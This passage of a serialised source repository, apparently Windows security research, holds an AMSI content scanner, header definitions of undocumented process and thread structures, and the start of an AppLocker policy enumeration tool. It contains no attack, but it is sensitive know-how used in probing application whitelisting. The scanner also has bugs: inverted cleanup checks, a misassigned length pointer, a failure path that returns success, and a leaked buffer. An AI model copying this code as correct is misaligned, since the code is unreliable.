{\n\twprintf(L\"[>] Copyright (C) 2020 Paul Laine (@am0nsec)\\n\");\n\twprintf(L\"[>] AMSI Scanner v1.0\\n\");\n\twprintf(L\"[>] https://github.com/am0nsec/wspe\\n\");\n\twprintf(L\"   -----------------------------------------\\n\\n\");\n\n\t// Check arguments supplied by the user\n\tif (argc < 3 || (argc >= 2 && wcscmp(argv[1], L\"-h\") == 0)) {\n\t\twprintf(L\"[-] Usage: scanner [ -f | -s | -u ] [data]\\n\");\n\t\twprintf(L\"\\t-f\\tScan content of a file.\\n\");\n\t\twprintf(L\"\\t-s\\tScan a string.\\n\");\n\t\twprintf(L\"\\t-u\\tScan an URL.\\n\\n\");\n\n\t\twprintf(L\"Leverage the Antimalware Scan Interface (AMSI) Win32 API to scan user supplied content.\\n\");\n\t\twprintf(L\"Microsoft documentation: https://docs.microsoft.com/en-us/windows/win32/api/_amsi/\\n\\n\");\n\t\treturn 0x01;\n\t}\n\n\t// Initialise variables\n\tHRESULT hr = S_OK;\n\tg_hProcessHeap = GetProcessHeap();\n\n\t// Initialise AMSI\n\thr = AmsiInitialize(g_szApplicationName, &g_hAmsiContext);\n\tif (FAILED(hr)) {\n\t\twprintf(L\"[-] Error while invoking amsi!AmsiInitialize (0x%08x)\\n\", hr);\n\t\twprintf(L\"[-] Check that Windows Defender is enabled or that the currently running AV support AMSI.\\n\");\n\t\treturn 0x01;\n\t}\n\n\t// Open new session\n\thr = AmsiOpenSession(g_hAmsiContext, &g_hAmsiSession);\n\tif (FAILED(hr)) {\n\t\twprintf(L\"[-] Error while invoking amsi!AmsiOpenSession (0x%08x)\\n\", hr);\n\t\tCleanup();\n\t\treturn 0x01;\n\t}\n\n\t// Scan data\n\tAMSI_RESULT AmsiResult;\n\tBOOL bScanSuccess = FALSE;\n\tif (wcscmp(argv[1], L\"-s\") == 0)\n\t\tbScanSuccess = ScanString(&argv[2], &AmsiResult);\n\telse if (wcscmp(argv[1], L\"-u\") == 0)\n\t\tbScanSuccess = ScanString(&argv[2], &AmsiResult);\n\telse if (wcscmp(argv[1], L\"-f\") == 0)\n\t\tbScanSuccess = ScanFile(&argv[2], &AmsiResult);\n\n\t// Display result of the scan\n\tif (bScanSuccess) {\n\t\tswitch (AmsiResult) {\n\t\tcase AMSI_RESULT_CLEAN:\n\t\t\twprintf(L\"[>] Scan score: %d (AMSI_RESULT_CLEAN)\\n\", AmsiResult);\n\t\t\twprintf(L\"Known good. No detection found, and the result is likely not going to change after a future definition update.\\n\\n\");\n\t\t\tbreak;\n\t\tcase AMSI_RESULT_NOT_DETECTED:\n\t\t\twprintf(L\"[>] Scan score: %d (AMSI_RESULT_NOT_DETECTED)\\n\", AmsiResult);\n\t\t\twprintf(L\"No detection found, but the result might change after a future definition update.\\n\\n\");\n\t\t\tbreak;\n\t\tcase AMSI_RESULT_BLOCKED_BY_ADMIN_START:\n\t\t\twprintf(L\"[>] Scan score: %d (AMSI_RESULT_BLOCKED_BY_ADMIN_START)\\n\", AmsiResult);\n\t\t\twprintf(L\"Administrator policy blocked this content on this machine (beginning of range).\\n\\n\");\n\t\t\tbreak;\n\t\tcase AMSI_RESULT_BLOCKED_BY_ADMIN_END:\n\t\t\twprintf(L\"[>] Scan score: %d (AMSI_RESULT_BLOCKED_BY_ADMIN_END)\\n\", AmsiResult);\n\t\t\twprintf(L\"Administrator policy blocked this content on this machine (end of range).\\n\\n\");\n\t\t\tbreak;\n\t\tcase AMSI_RESULT_DETECTED:\n\t\t\twprintf(L\"[>] Scan score: %d (AMSI_RESULT_DETECTED)\\n\", AmsiResult);\n\t\t\twprintf(L\"Detection found. The content is considered malware and should be blocked.\\n\\n\");\n\t\t\tbreak;\n\t\t}\n\t}\n\n\t// Cleanup\n\tCleanup();\n\treturn 0x00;\n}\n\nBOOL GetStringLenght(LPWSTR szString, PULONG plStringSize) {\n\tif (!szString) {\n\t\tplStringSize = 0;\n\t\treturn FALSE;\n\t}\n\n\twhile (*szString++ != '\\0')\n\t\t*plStringSize += sizeof(WCHAR);\n\n\treturn TRUE;\n}\n\nBOOL ScanString(LPWSTR* pszString, AMSI_RESULT* pAmsiResult) {\n\tif (!*pszString) {\n\t\twprintf(L\"[-] Empty string provided.\\n\");\n\t\treturn FALSE;\n\t}\n\n\tULONG lStringSize = 0;\n\tif (!GetStringLenght(*pszString, &lStringSize) || lStringSize == 0) {\n\t\twprintf(L\"[-] Empty string provided.\\n\");\n\t\treturn FALSE;\n\t}\n\n\tPVOID pBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, lStringSize);\n\tRtlCopyMemory(pBuffer, *pszString, lStringSize);\n\n\tHRESULT hr = AmsiScanBuffer(g_hAmsiContext, pBuffer, lStringSize, L\"scan-string\", g_hAmsiSession, pAmsiResult);\n\tif (FAILED(hr)) {\n\t\twprintf(L\"[-] Error while invoking amsi!AmsiScanBuffer (0x%08x)\\n\", hr);\n\t\tCleanup();\n\t\treturn 0x01;\n\t}\n\n\tHeapFree(GetProcessHeap(), 0, pBuffer);\n\treturn TRUE;\n}\n\nBOOL ScanFile(LPWSTR* pszFileName, AMSI_RESULT* pAmsiResult) {\n\t// Check if file name is not empty\n\tif (!*pszFileName) {\n\t\twprintf(L\"[-] Empty file name provided.\\n\");\n\t\treturn FALSE;\n\t}\n\n\t// Check if file exist\n\tDWORD dwFileAttributes = GetFileAttributes(*pszFileName);\n\tif (dwFileAttributes == INVALID_FILE_ATTRIBUTES) {\n\t\twprintf(L\"[-] File doesn't exist.\\n\");\n\t\treturn FALSE;\n\t}\n\n\t// Get an handle to the file object\n\tHANDLE hFile = CreateFile(*pszFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, dwFileAttributes, NULL);\n\tif (hFile == INVALID_HANDLE_VALUE) {\n\t\twprintf(L\"[-] Unable to open the file (%d)\\n\", GetLastError());\n\t\treturn FALSE;\n\t}\n\n\t// Get size of the file\n\tDWORD dwFileSize = GetFileSize(hFile, NULL);\n\tif (dwFileSize == 0) {\n\t\twprintf(L\"[-] Unable to get size of the file (%d)\\n\", GetLastError());\n\t\tCloseHandle(hFile);\n\t\treturn FALSE;\n\t}\n\n\t// Read content of the file\n\tDWORD dwBytesRead = 0;\n\tPVOID pAsciiBuffer = HeapAlloc(g_hProcessHeap, HEAP_ZERO_MEMORY, dwFileSize);\n\tBOOL bSuccess = ReadFile(hFile, pAsciiBuffer, dwFileSize, &dwBytesRead, NULL);\n\tif (!bSuccess || dwBytesRead < dwFileSize) {\n\t\twprintf(L\"[-] Unable to get size of the file (%d)\\n\", GetLastError());\n\t\tCloseHandle(hFile);\n\t\tHeapFree(g_hProcessHeap, 0, pAsciiBuffer);\n\t\treturn FALSE;\n\t}\n\n\t// Convert from ASCII to Unicode\n\tint UnicodeBufferSize = MultiByteToWideChar(CP_ACP, 0, pAsciiBuffer, -1, NULL, 0);\n\tPVOID pUnicodeBuffer = HeapAlloc(g_hProcessHeap, HEAP_ZERO_MEMORY, UnicodeBufferSize * sizeof(WCHAR));\n\tMultiByteToWideChar(CP_ACP, 0, pAsciiBuffer, -1, pUnicodeBuffer, UnicodeBufferSize);\n\tHeapFree(g_hProcessHeap, 0, pAsciiBuffer);\n\n\t// Scan file content\n\tULONG lUnicodeBufferLength = 0;\n\tGetStringLenght(pUnicodeBuffer, &lUnicodeBufferLength);\n\n\tHRESULT hr = AmsiScanBuffer(g_hAmsiContext, pUnicodeBuffer, lUnicodeBufferLength, *pszFileName, g_hAmsiSession, pAmsiResult);\n\tif (FAILED(hr)) {\n\t\twprintf(L\"[-] Error while invoking amsi!AmsiScanBuffer (0x%08x)\\n\", hr);\n\t\tCleanup();\n\t\treturn FALSE;\n\t}\n\n\tHeapFree(g_hProcessHeap, 0, pUnicodeBuffer);\n\tCloseHandle(hFile);\n\treturn TRUE;\n}\n\nVOID Cleanup() {\n\tif (!g_hAmsiContext && !g_hAmsiSession)\n\t\tAmsiCloseSession(g_hAmsiContext, g_hAmsiSession);\n\n\tif (!g_hAmsiSession)\n\t\tAmsiUninitialize(g_hAmsiSession);\n}\n"
  },
  {
    "path": "AMSI/structs.h",
    "content": "#pragma once\n#include <Windows.h>\n\n/*--------------------------------------------------------------------\n  Windows structures.\n--------------------------------------------------------------------*/\nenum PROCESSINFOCLASS {\n\tProcessHandleInformation = 51\n};\n\ntypedef struct _LSA_UNICODE_STRING {\n\tUSHORT Length;\n\tUSHORT MaximumLength;\n\tPWSTR  Buffer;\n} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR;\n\ntypedef struct _PEB_LDR_DATA {\n\tULONG                   Length;\n\tULONG                   Initialized;\n\tPVOID                   SsHandle;\n\tLIST_ENTRY              InLoadOrderModuleList;\n\tLIST_ENTRY              InMemoryOrderModuleList;\n\tLIST_ENTRY              InInitializationOrderModuleList;\n} PEB_LDR_DATA, * PPEB_LDR_DATA;\n\ntypedef struct _LDR_MODULE {\n\tLIST_ENTRY              InLoadOrderModuleList;\n\tLIST_ENTRY              InMemoryOrderModuleList;\n\tLIST_ENTRY              InInitializationOrderModuleList;\n\tPVOID                   BaseAddress;\n\tPVOID                   EntryPoint;\n\tULONG                   SizeOfImage;\n\tUNICODE_STRING          FullDllName;\n\tUNICODE_STRING          BaseDllName;\n\tULONG                   Flags;\n\tSHORT                   LoadCount;\n\tSHORT                   TlsIndex;\n\tLIST_ENTRY              HashTableEntry;\n\tULONG                   TimeDateStamp;\n} LDR_MODULE, * PLDR_MODULE;\n\ntypedef struct _PEB {\n\tBOOLEAN                 InheritedAddressSpace;\n\tBOOLEAN                 ReadImageFileExecOptions;\n\tBOOLEAN                 BeingDebugged;\n\tBOOLEAN                 Spare;\n\tHANDLE                  Mutant;\n\tPVOID                   ImageBase;\n\tPPEB_LDR_DATA           LoaderData;\n\tPVOID                   ProcessParameters;\n\tPVOID                   SubSystemData;\n\tPVOID                   ProcessHeap;\n\tPVOID                   FastPebLock;\n\tPVOID                   FastPebLockRoutine;\n\tPVOID                   FastPebUnlockRoutine;\n\tULONG                   EnvironmentUpdateCount;\n\tPVOID* KernelCallbackTable;\n\tPVOID                   EventLogSection;\n\tPVOID                   EventLog;\n\tPVOID                   FreeList;\n\tULONG                   TlsExpansionCounter;\n\tPVOID                   TlsBitmap;\n\tULONG                   TlsBitmapBits[0x2];\n\tPVOID                   ReadOnlySharedMemoryBase;\n\tPVOID                   ReadOnlySharedMemoryHeap;\n\tPVOID* ReadOnlyStaticServerData;\n\tPVOID                   AnsiCodePageData;\n\tPVOID                   OemCodePageData;\n\tPVOID                   UnicodeCaseTableData;\n\tULONG                   NumberOfProcessors;\n\tULONG                   NtGlobalFlag;\n\tBYTE                    Spare2[0x4];\n\tLARGE_INTEGER           CriticalSectionTimeout;\n\tULONG                   HeapSegmentReserve;\n\tULONG                   HeapSegmentCommit;\n\tULONG                   HeapDeCommitTotalFreeThreshold;\n\tULONG                   HeapDeCommitFreeBlockThreshold;\n\tULONG                   NumberOfHeaps;\n\tULONG                   MaximumNumberOfHeaps;\n\tPVOID** ProcessHeaps;\n\tPVOID                   GdiSharedHandleTable;\n\tPVOID                   ProcessStarterHelper;\n\tPVOID                   GdiDCAttributeList;\n\tPVOID                   LoaderLock;\n\tULONG                   OSMajorVersion;\n\tULONG                   OSMinorVersion;\n\tULONG                   OSBuildNumber;\n\tULONG                   OSPlatformId;\n\tULONG                   ImageSubSystem;\n\tULONG                   ImageSubSystemMajorVersion;\n\tULONG                   ImageSubSystemMinorVersion;\n\tULONG                   GdiHandleBuffer[0x22];\n\tULONG                   PostProcessInitRoutine;\n\tULONG                   TlsExpansionBitmap;\n\tBYTE                    TlsExpansionBitmapBits[0x80];\n\tULONG                   SessionId;\n} PEB, * PPEB;\n\ntypedef struct __CLIENT_ID {\n\tHANDLE UniqueProcess;\n\tHANDLE UniqueThread;\n} CLIENT_ID, * PCLIENT_ID;\n\ntypedef struct _TEB_ACTIVE_FRAME_CONTEXT {\n\tULONG Flags;\n\tPCHAR FrameName;\n} TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT;\n\ntypedef struct _TEB_ACTIVE_FRAME {\n\tULONG Flags;\n\tstruct _TEB_ACTIVE_FRAME* Previous;\n\tPTEB_ACTIVE_FRAME_CONTEXT Context;\n} TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME;\n\ntypedef struct _GDI_TEB_BATCH {\n\tULONG Offset;\n\tULONG HDC;\n\tULONG Buffer[310];\n} GDI_TEB_BATCH, * PGDI_TEB_BATCH;\n\ntypedef PVOID PACTIVATION_CONTEXT;\n\ntypedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME {\n\tstruct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous;\n\tPACTIVATION_CONTEXT ActivationContext;\n\tULONG Flags;\n} RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME;\n\ntypedef struct _ACTIVATION_CONTEXT_STACK {\n\tPRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame;\n\tLIST_ENTRY FrameListCache;\n\tULONG Flags;\n\tULONG NextCookieSequenceNumber;\n\tULONG StackId;\n} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK;\n\ntypedef struct _TEB {\n\tNT_TIB\t\t\t\tNtTib;\n\tPVOID\t\t\t\tEnvironmentPointer;\n\tCLIENT_ID\t\t\tClientId;\n\tPVOID\t\t\t\tActiveRpcHandle;\n\tPVOID\t\t\t\tThreadLocalStoragePointer;\n\tPPEB\t\t\t\tProcessEnvironmentBlock;\n\tULONG               LastErrorValue;\n\tULONG               CountOfOwnedCriticalSections;\n\tPVOID\t\t\t\tCsrClientThread;\n\tPVOID\t\t\t\tWin32ThreadInfo;\n\tULONG               User32Reserved[26];\n\tULONG               UserReserved[5];\n\tPVOID\t\t\t\tWOW32Reserved;\n\tLCID                CurrentLocale;\n\tULONG               FpSoftwareStatusRegister;\n\tPVOID\t\t\t\tSystemReserved1[54];\n\tLONG                ExceptionCode;\n#if (NTDDI_VERSION >= NTDDI_LONGHORN)\n\tPACTIVATION_CONTEXT_STACK* ActivationContextStackPointer;\n\tUCHAR                  SpareBytes1[0x30 - 3 * sizeof(PVOID)];\n\tULONG                  TxFsContext;\n#elif (NTDDI_VERSION >= NTDDI_WS03)\n\tPACTIVATION_CONTEXT_STACK ActivationContextStackPointer;\n\tUCHAR                  SpareBytes1[0x34 - 3 * sizeof(PVOID)];\n#else\n\tACTIVATION_CONTEXT_STACK ActivationContextStack;\n\tUCHAR                  SpareBytes1[24];\n#endif\n\tGDI_TEB_BATCH\t\t\tGdiTebBatch;\n\tCLIENT_ID\t\t\t\tRealClientId;\n\tPVOID\t\t\t\t\tGdiCachedProcessHandle;\n\tULONG                   GdiClientPID;\n\tULONG                   GdiClientTID;\n\tPVOID\t\t\t\t\tGdiThreadLocalInfo;\n\tPSIZE_T\t\t\t\t\tWin32ClientInfo[62];\n\tPVOID\t\t\t\t\tglDispatchTable[233];\n\tPSIZE_T\t\t\t\t\tglReserved1[29];\n\tPVOID\t\t\t\t\tglReserved2;\n\tPVOID\t\t\t\t\tglSectionInfo;\n\tPVOID\t\t\t\t\tglSection;\n\tPVOID\t\t\t\t\tglTable;\n\tPVOID\t\t\t\t\tglCurrentRC;\n\tPVOID\t\t\t\t\tglContext;\n\tNTSTATUS                LastStatusValue;\n\tUNICODE_STRING\t\t\tStaticUnicodeString;\n\tWCHAR                   StaticUnicodeBuffer[261];\n\tPVOID\t\t\t\t\tDeallocationStack;\n\tPVOID\t\t\t\t\tTlsSlots[64];\n\tLIST_ENTRY\t\t\t\tTlsLinks;\n\tPVOID\t\t\t\t\tVdm;\n\tPVOID\t\t\t\t\tReservedForNtRpc;\n\tPVOID\t\t\t\t\tDbgSsReserved[2];\n#if (NTDDI_VERSION >= NTDDI_WS03)\n\tULONG                   HardErrorMode;\n#else\n\tULONG                  HardErrorsAreDisabled;\n#endif\n#if (NTDDI_VERSION >= NTDDI_LONGHORN)\n\tPVOID\t\t\t\t\tInstrumentation[13 - sizeof(GUID) / sizeof(PVOID)];\n\tGUID                    ActivityId;\n\tPVOID\t\t\t\t\tSubProcessTag;\n\tPVOID\t\t\t\t\tEtwLocalData;\n\tPVOID\t\t\t\t\tEtwTraceData;\n#elif (NTDDI_VERSION >= NTDDI_WS03)\n\tPVOID\t\t\t\t\tInstrumentation[14];\n\tPVOID\t\t\t\t\tSubProcessTag;\n\tPVOID\t\t\t\t\tEtwLocalData;\n#else\n\tPVOID\t\t\t\t\tInstrumentation[16];\n#endif\n\tPVOID\t\t\t\t\tWinSockData;\n\tULONG\t\t\t\t\tGdiBatchCount;\n#if (NTDDI_VERSION >= NTDDI_LONGHORN)\n\tBOOLEAN                SpareBool0;\n\tBOOLEAN                SpareBool1;\n\tBOOLEAN                SpareBool2;\n#else\n\tBOOLEAN                InDbgPrint;\n\tBOOLEAN                FreeStackOnTermination;\n\tBOOLEAN                HasFiberData;\n#endif\n\tUCHAR                  IdealProcessor;\n#if (NTDDI_VERSION >= NTDDI_WS03)\n\tULONG                  GuaranteedStackBytes;\n#else\n\tULONG                  Spare3;\n#endif\n\tPVOID\t\t\t\t   ReservedForPerf;\n\tPVOID\t\t\t\t   ReservedForOle;\n\tULONG                  WaitingOnLoaderLock;\n#if (NTDDI_VERSION >= NTDDI_LONGHORN)\n\tPVOID\t\t\t\t   SavedPriorityState;\n\tULONG_PTR\t\t\t   SoftPatchPtr1;\n\tULONG_PTR\t\t\t   ThreadPoolData;\n#elif (NTDDI_VERSION >= NTDDI_WS03)\n\tULONG_PTR\t\t\t   SparePointer1;\n\tULONG_PTR              SoftPatchPtr1;\n\tULONG_PTR              SoftPatchPtr2;\n#else\n\tWx86ThreadState        Wx86Thread;\n#endif\n\tPVOID* TlsExpansionSlots;\n#if defined(_WIN64) && !defined(EXPLICIT_32BIT)\n\tPVOID                  DeallocationBStore;\n\tPVOID                  BStoreLimit;\n#endif\n\tULONG                  ImpersonationLocale;\n\tULONG                  IsImpersonating;\n\tPVOID                  NlsCache;\n\tPVOID                  pShimData;\n\tULONG                  HeapVirtualAffinity;\n\tHANDLE                 CurrentTransactionHandle;\n\tPTEB_ACTIVE_FRAME      ActiveFrame;\n#if (NTDDI_VERSION >= NTDDI_WS03)\n\tPVOID FlsData;\n#endif\n#if (NTDDI_VERSION >= NTDDI_LONGHORN)\n\tPVOID PreferredLangauges;\n\tPVOID UserPrefLanguages;\n\tPVOID MergedPrefLanguages;\n\tULONG MuiImpersonation;\n\tunion\n\t{\n\t\tstruct\n\t\t{\n\t\t\tUSHORT SpareCrossTebFlags : 16;\n\t\t};\n\t\tUSHORT CrossTebFlags;\n\t};\n\tunion\n\t{\n\t\tstruct\n\t\t{\n\t\t\tUSHORT DbgSafeThunkCall : 1;\n\t\t\tUSHORT DbgInDebugPrint : 1;\n\t\t\tUSHORT DbgHasFiberData : 1;\n\t\t\tUSHORT DbgSkipThreadAttach : 1;\n\t\t\tUSHORT DbgWerInShipAssertCode : 1;\n\t\t\tUSHORT DbgIssuedInitialBp : 1;\n\t\t\tUSHORT DbgClonedThread : 1;\n\t\t\tUSHORT SpareSameTebBits : 9;\n\t\t};\n\t\tUSHORT SameTebFlags;\n\t};\n\tPVOID TxnScopeEntercallback;\n\tPVOID TxnScopeExitCAllback;\n\tPVOID TxnScopeContext;\n\tULONG LockCount;\n\tULONG ProcessRundown;\n\tULONG64 LastSwitchTime;\n\tULONG64 TotalSwitchOutTime;\n\tLARGE_INTEGER WaitReasonBitMap;\n#else\n\tBOOLEAN SafeThunkCall;\n\tBOOLEAN BooleanSpare[3];\n#endif\n} TEB, * PTEB;\n\ntypedef LONG KPRIORITY;\n\ntypedef struct _PROCESS_BASIC_INFORMATION {\n\tNTSTATUS ExitStatus;\n\tPPEB PebBaseAddress;\n\tULONG_PTR AffinityMask;\n\tKPRIORITY BasePriority;\n\tPVOID UniqueProcessId;\n\tPVOID InheritedFromUniqueProcessId;\n} PROCESS_BASIC_INFORMATION, * PPROCESS_BASIC_INFORMATION;\n\ntypedef struct _LDR_DATA_TABLE_ENTRY {\n\tLIST_ENTRY InLoadOrderLinks;\n\tLIST_ENTRY InMemoryOrderLinks;\n\tLIST_ENTRY InInitializationOrderLinks;\n\tPVOID DllBase;\n\tPVOID EntryPoint;\n\tULONG SizeOfImage;\n\tUNICODE_STRING FullDllName;\n\tUNICODE_STRING BaseDllName;\n\tULONG Flags;\n\tWORD LoadCount;\n\tWORD TlsIndex;\n\tunion {\n\t\tLIST_ENTRY HashLinks;\n\t\tstruct {\n\t\t\tPVOID SectionPointer;\n\t\t\tULONG CheckSum;\n\t\t};\n\t};\n\tunion {\n\t\tULONG TimeDateStamp;\n\t\tPVOID LoadedImports;\n\t};\n\tPACTIVATION_CONTEXT EntryPointActivationContext;\n\tPVOID PatchInformation;\n\tLIST_ENTRY ForwarderLinks;\n\tLIST_ENTRY ServiceTagLinks;\n\tLIST_ENTRY StaticLinks;\n} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;\n"
  },
  {
    "path": "AppLocker/List Policies/interfaces.h",
    "content": "/**\n* @file     interfaces.h\n* @date     02-08-2020\n* @author   Paul Laîné (@am0nsec)\n* @version  1.0\n* @brief    Enumerate AppLocker policies via IAppIdPolicyHandler COM interface.\n* @details\n* @link     https://ntamonsec.blogspot.com/\n*\n* @copyright This project has been released under the GNU Public License v3 license.\n*/\n#include <Windows.h>\n\n#ifndef _INTERFACES_H\n#define _INTERFACES_H\n\n/**\n * @brief GUID of the IAppIdPolicyHandler COM interface: B6FEA19E-32DD-4367-B5B7-2F5DA140E87D\n*/\nCONST IID IID_IAppIdPolicyHandler = { 0xB6FEA19E, 0x32DD, 0x4367, {0xB5, 0xB7, 0x2F, 0x5D, 0xA1, 0x40, 0xE8, 0x7D} };\n\n/**\n * @brief GUID of the IAppIdPolicyHandler class factory: F1ED7D4C-F863-4DE6-A1CA-7253EFDEE1F3\n*/\nCONST IID CLSID_AppIdPolicyHandlerClass = { 0xF1ED7D4C, 0xF863, 0x4DE6, {0xA1, 0xCA, 0x72, 0x53, 0xEF, 0xDE, 0xE1, 0xF3} };\n\ntypedef interface IAppIdPolicyHandler IAppIdPolicyHandler;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n\t\nMIDL_INTERFACE(\"B6FEA19E-32DD-4367-B5B7-2F5DA140E87D\")\nIAppIdPolicyHandler : public IUnknown, public IDispatch {\npublic:\n\tvirtual VOID STDMETHODCALLTYPE SetPolicy (\n\t\t_In_ BSTR bstrLdapPath,\n\t\t_In_ BSTR bstrXmlPolicy\n\t);\n\n\tvirtual BSTR STDMETHODCALLTYPE GetPolicy(\n\t\t_In_  BSTR   bstrLdapPath,\n\t\t_Out_ LPBSTR pbstrXmlPolicy\n\t);\n\n\tvirtual BSTR STDMETHODCALLTYPE GetEffectivePolicy(\n\t\t_Out_ LPBSTR pbstrXmlPolicy\n\t);\n\n\tvirtual INT STDMETHODCALLTYPE IsFileAllowed(\n\t\t_In_  BSTR   bstrXmlPolicy,\n\t\t_In_  BSTR   bstrFilePath,\n\t\t_In_  BSTR   bstrUserSid,\n\t\t_Out_ LPGUID pguidResponsibleRuleId,\n\t\t_Out_ PLONG  pbStatus\n\t);\n\n\tvirtual INT STDMETHODCALLTYPE IsPackageAllowed(\n\t\t_In_  BSTR   bstrXmlPolicy,\n\t\t_In_  BSTR   bstrPublisherName,\n\t\t_In_  BSTR   bstrPackageName,\n\t\t_In_  ULONG  ullPackageVersion,\n\t\t_In_  BSTR   bstrUserSid,\n\t\t_Out_ LPGUID pguidResponsibleRuleId,\n\t\t_Out_ PLONG  pbStatus\n\t);\n};\n\n#else \ntypedef struct AppIdPolicyHandlerVtbl {\n\tBEGIN_INTERFACE\n\n\t/**\n\t * @brief QueryInterface method from IUnknown\n\t*/\n\tHRESULT(STDMETHODCALLTYPE* QueryInterface) (\n\t\t_In_  IAppIdPolicyHandler* This,\n\t\t_In_  REFIID               riid,\n\t\t_Out_ PVOID*               ppvObject\n\t);\n\n\t/**\n\t * @brief AddRef from IUnknown\n\t*/\n\tULONG(STDMETHODCALLTYPE* AddRef)(\n\t\t_In_ IAppIdPolicyHandler* This\n\t);\n\n\t/**\n\t * @brief Release from IUnknown\n\t*/\n\tULONG(STDMETHODCALLTYPE* Release)(\n\t\t_In_ IAppIdPolicyHandler* This\n\t);\n\n\t/**\n\t * @brief GetTypeInfoCount from IDispatch\n\t*/\n\tHRESULT(STDMETHODCALLTYPE* GetTypeInfoCount)(\n\t\t_In_  IAppIdPolicyHandler* This,\n\t\t_Out_ PUINT                pctinfo\n\t);\n\n\t/**\n\t * @brief GetTypeInfo from IDispatch\n\t*/\n\tHRESULT(STDMETHODCALLTYPE* GetTypeInfo)(\n\t\t_In_  IAppIdPolicyHandler* This,\n\t\t_In_  UINT                 itinfo,\n\t\t_In_  ULONG                lcid,\n\t\t_Out_ LPVOID*              pptinfo\n\t);\n\n\t/**\n\t * @brief GetIDsOfNames from IDispatch\n\t*/\n\tHRESULT(STDMETHODCALLTYPE* GetIDsOfNames)(\n\t\t_In_  IAppIdPolicyHandler* This, \n\t\t_In_  LPIID                riid,\n\t\t_In_  LPOLESTR*            rgszNames,\n\t\t_In_  UINT                 cNames,\n\t\t_In_  LCID                 lcid,\n\t\t_Out_ DISPID*              rgdispid\n\t);\n\n\t/**\n\t * @brief Invoke from IDispatch\n\t*/\n\tHRESULT(STDMETHODCALLTYPE* Invoke)(\n\t\t_In_  IAppIdPolicyHandler* This,\n\t\t_In_  DISPID               dispidMember,\n\t\t_In_  LPIID                riid,\n\t\t_In_  LCID                 lcid,\n\t\t_In_  WORD                 wFlags,\n\t\t_In_  DISPPARAMS*          pdispparams,\n\t\t_In_  LPVARIANT            pvarResult,\n\t\t_Out_ LPEXCEPINFO          pexcepinfo,\n\t\t_Out_ PUINT                puArgErr\n\t);\n\n\t/**\n\t * @brief SetPolicy from IAppIdPolicyHandler\n\t*/\n\tHRESULT(STDMETHODCALLTYPE* SetPolicy)(\n\t\t_In_ IAppIdPolicyHandler* This,\n\t\t_In_ BSTR bstrLdapPath,\n\t\t_In_ BSTR bstrXmlPolicy\n\t);\n\n\t/**\n\t * @brief GetPolicy from IAppIdPolicyHandler\n\t*/\n\tHRESULT(STDMETHODCALLTYPE *GetPolicy)(\n\t\t_In_  IAppIdPolicyHandler* This,\n\t\t_In_  BSTR                 bstrLdapPath,\n\t\t_Out_ LPBSTR               pbstrXmlPolicy\n\t);\n\n\t/**\n\t * @brief GetEffectivePolicy from IAppIdPolicyHandler\n\t*/\n\tHRESULT(STDMETHODCALLTYPE *GetEffectivePolicy)(\n\t\t_In_  IAppIdPolicyHandler* This,\n\t\t_Out_ LPBSTR               pbstrXmlPolicies\n\t);\n\n\t/**\n\t * @brief IsFileAllowed from IAppIdPolicyHandler\n\t*/\n\tHRESULT(STDMETHODCALLTYPE *IsFileAllowed)(\n\t\t_In_  IAppIdPolicyHandler* This,\n\t\t_In_  BSTR                 bstrXmlPolicy,\n\t\t_In_  BSTR                 bstrFilePath,\n\t\t_In_  BSTR                 bstrUserSid,\n\t\t_Out_ LPGUID               pguidResponsibleRuleId,\n\t\t_Out_ PLONG                pbStatus\n\t);\n\n\t/**\n\t * @brief IsPackageAllowed from IAppIdPolicyHandler\n\t*/\n\tHRESULT(STDMETHODCALLTYPE *IsPackageAllowed)(\n\t\t_In_  IAppIdPolicyHandler* This,\n\t\t_In_  BSTR                 bstrXmlPolicy,\n\t\t_In_  BSTR                 bstrPublisherName,\n\t\t_In_  BSTR                 bstrPackageName,\n\t\t_In_  ULONG                ullPackageVersion,\n\t\t_In_  BSTR                 bstrUserSid,\n\t\t_Out_ LPGUID               pguidResponsibleRuleId,\n\t\t_Out_ PLONG                pbStatus\n\t);\n\n\tEND_INTERFACE\n} AppIdPolicyHandlerVtbl;\n\ninterface IAppIdPolicyHandler {\n\tCONST_VTBL struct AppIdPolicyHandlerVtbl* lpVtbl;\n};\n#endif\n\n#endif // !_INTERFACES_H\n"
  },
  {
    "path": "AppLocker/List Policies/main.c",
    "content": "/**\n* @file     main.c\n* @date     02-08-2020\n* @author   Paul Laîné (@am0nsec)\n* @version  1.0\n* @brief    Enumerate AppLocker policies via IAppIdPolicyHandler COM interface.\n* @details\n* @link     https://ntamonsec.blogspot.com/\n*\n* @copyright This project has been released under the GNU Public License v3 license.\n*/\n#include <windows.h>\n#include <stdio.h>\n#include \"interfaces.h\"\n\n#define APPLOCKER_MODE_LOCAL     0x01 // Application will retrieve the local AppLocker policies.\n#define APPLOCKER_MODE_DOMAIN    0x02 // Application will retrieve the domain AppLocker policies .\n#define APPLOCKER_MODE_EFFECTIVE 0x03 // Application will retrieve the effective AppLocker policies.\n\n/**\n * @brief Return the help banner of the application.\n*/\nVOID ShowUsage() {\n\twprintf(L\"usage: applocker.exe [-l|-e|-d] {ldap query}\\n\");\n\twprintf(L\"\\t-l\\t\\tList local AppLocker policies. Default mode.\\n\");\n\twprintf(L\"\\t-e\\t\\tList effective AppLocker policies.\\n\");\n\twprintf(L\"\\t-d\\t\\tList domain AppLocker policies. In this case the last parameter is the LDAP path.\\n\\n\");\n\n\twprintf(L\"examples:\\n\");\n\twprintf(L\"\\tapplocker.exe -e\\n\");\n\twprintf(L\"\\tapplocker.exe -l\\n\");\n\twprintf(L\"\\tapplocker.exe -d \\\"DC=example,DC=com\\\"\\n\");\n}\n\n/**\n * @brief Get the local, domain or effective AppLocker policies.\n * @param pwAppLockerMode One of the following mode: 